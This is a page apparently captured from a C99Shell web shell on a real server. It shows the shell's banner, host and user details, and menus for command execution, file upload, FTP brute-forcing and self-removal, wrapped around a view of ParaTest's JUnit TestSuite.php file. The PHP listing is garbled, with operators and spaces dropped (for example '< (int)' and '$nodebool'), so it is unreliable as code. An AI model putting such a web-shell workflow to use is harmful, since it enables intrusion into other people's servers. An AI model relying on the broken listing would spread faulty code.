!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/brianium/paratest/src/JUnit/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.37%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TestSuite.php (2.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
ParaTest\JUnit;

use 
SimpleXMLElement;
use 
SplFileInfo;

use function 
assert;
use function 
count;
use function 
file_get_contents;

/**
 * @internal
 *
 * @immutable
 */
final class TestSuite
{
    
/**
     * @param array<string, TestSuite> $suites
     * @param list<TestCase>           $cases
     */
    
public function __construct(
        public readonly 
string $name,
        public readonly 
int $tests,
        public readonly 
int $assertions,
        public readonly 
int $failures,
        public readonly 
int $errors,
        public readonly 
int $skipped,
        public readonly 
float $time,
        public readonly 
string $file,
        public readonly array 
$suites,
        public readonly array 
$cases
    
) {
    }

    public static function 
fromFile(SplFileInfo $logFile): self
    
{
        
assert($logFile->isFile() && < (int) $logFile->getSize());

        
$logFileContents file_get_contents($logFile->getPathname());
        
assert($logFileContents !== false);

        return 
self::parseTestSuite(
            new 
SimpleXMLElement($logFileContents),
            
true,
        );
    }

    private static function 
parseTestSuite(SimpleXMLElement $nodebool $isRootSuite): self
    
{
        if (
$isRootSuite) {
            
$tests      0;
            
$assertions 0;
            
$failures   0;
            
$errors     0;
            
$skipped    0;
            
$time       0;
        } else {
            
$tests      = (int) $node['tests'];
            
$assertions = (int) $node['assertions'];
            
$failures   = (int) $node['failures'];
            
$errors     = (int) $node['errors'];
            
$skipped    = (int) $node['skipped'];
            
$time       = (float) $node['time'];
        }

        
$count  count($node->testsuite);
        
$suites = [];
        foreach (
$node->testsuite as $singleTestSuiteXml) {
            
$testSuite self::parseTestSuite($singleTestSuiteXmlfalse);
            if (
$isRootSuite && $count === 1) {
                return 
$testSuite;
            }

            
$suites[$testSuite->name] = $testSuite;

            if (! 
$isRootSuite) {
                continue;
            }

            
$tests      += $testSuite->tests;
            
$assertions += $testSuite->assertions;
            
$failures   += $testSuite->failures;
            
$errors     += $testSuite->errors;
            
$skipped    += $testSuite->skipped;
            
$time       += $testSuite->time;
        }

        
$cases = [];
        foreach (
$node->testcase as $singleTestCase) {
            
$cases[] = TestCase::caseFromNode($singleTestCase);
        }

        return new 
self(
            (string) 
$node['name'],
            
$tests,
            
$assertions,
            
$failures,
            
$errors,
            
$skipped,
            
$time,
            (string) 
$node['file'],
            
$suites,
            
$cases,
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--